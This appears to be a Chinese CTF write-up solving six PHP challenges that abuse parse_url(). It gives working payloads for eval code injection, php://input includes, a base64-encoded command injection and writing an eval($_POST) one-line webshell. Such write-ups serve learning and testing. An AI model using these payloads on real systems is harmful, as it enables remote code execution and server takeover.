前言
大菜鸡师傅诚不欺我,真就每道都只有两行代码(
这次挑战的关键个人觉得在于需要多在本地进行测试以确定payload
parse_url函数
解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
parse_url(参数1,参数2)
参数1:必填 ,是一个完整的URL,如果不完整,函数会模糊补全。
参数2:非必填,是一个大写参数变量,直接获取结果集的某一部分。
<?php
$url = "http://username:password@hostname:80/path?arg=value#anchor";
$arr = parse_url($url);
print_r($arr);
Array
(
[scheme] => http
[host] => hostname
[port] => 80
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
第一关
字符替换
题目:
<?php
$data = parse_url($_GET['u']);
eval($data['host']);
因为parse_url()函数会把/
后面的内容解析进path,所以这里得使用编码绕过,本人payload使用chr()
函数进行编码
payload:
?u=https://$a='tac '.chr(47).'flag_is_here.txt';system($a);
第二关
php://input伪协议
题目:
<?php
$data = parse_url($_GET['u']);
include $data['host'].$data['path'];
题目使用include
,那么就要想到伪协议,同时发现会拼接host
段和path
的内容
由于我们不知道flag目录位置与名称,所以考虑使用php://input
伪协议写入shell
同时因为host
会对冒号进行一次解析,所以需要在host
段输入php::
payload:
直接cat /_f1ag_1s_h3re.txt
第三关
php://input伪协议
题目:
<?php
$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];
意外的能拼出来php://input
那就直接拿下了
直接cat /_f1a_g_1s_h3re
第四关
linux下的编码绕过
题目:
<?php
$data = parse_url($_GET['u']);
system($data['host']);
因为查看根目录需要/
,但是一旦出现/
就会被解析进path
,所以这里考虑用编码的方式实现绕过
因为题目已经给出system函数,所以要寻找的是linux下的编码方式,那么很容易想到base64命令
payload读取根目录:
?u=http://`echo 'bHMgLw==' |base64 -d`
(执行命令需要加上反引号)
然后base64编码cat /1_f1ag_1s_h3re
获取flag
第五关
变量覆盖
题目:
<?php
extract(parse_url($_GET['u']));
include $$$$$$host;
一道变量覆盖,看看上面全部的解析类型后就知道怎么构造了
因为path
有/
,port
只能是数字,那么能用的链子就很明显了
链子:
<?php
$url = "user://pass:query@scheme?fragment#php://input";
$arr = parse_url($url);
print_r($arr);
接下来的操作就和上面一样了
第六关
php短标签
题目:
<?php
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);
这次是file_put_contents
函数,那么思路应该就是写入一句话木马获取shell
因为path
中必定开头带个/
,所以这里应该是要把整个文件路径输入进去/var/www/html
而一旦出现?
则会被解析成query
的内容,所以这里不能用<?php
,于是考虑短标签<script language='php'>
payload:
?u=http://<script language='php'>eval($_POST[a]);/var/www/html/1.php
然后经典一句话木马操作获取flag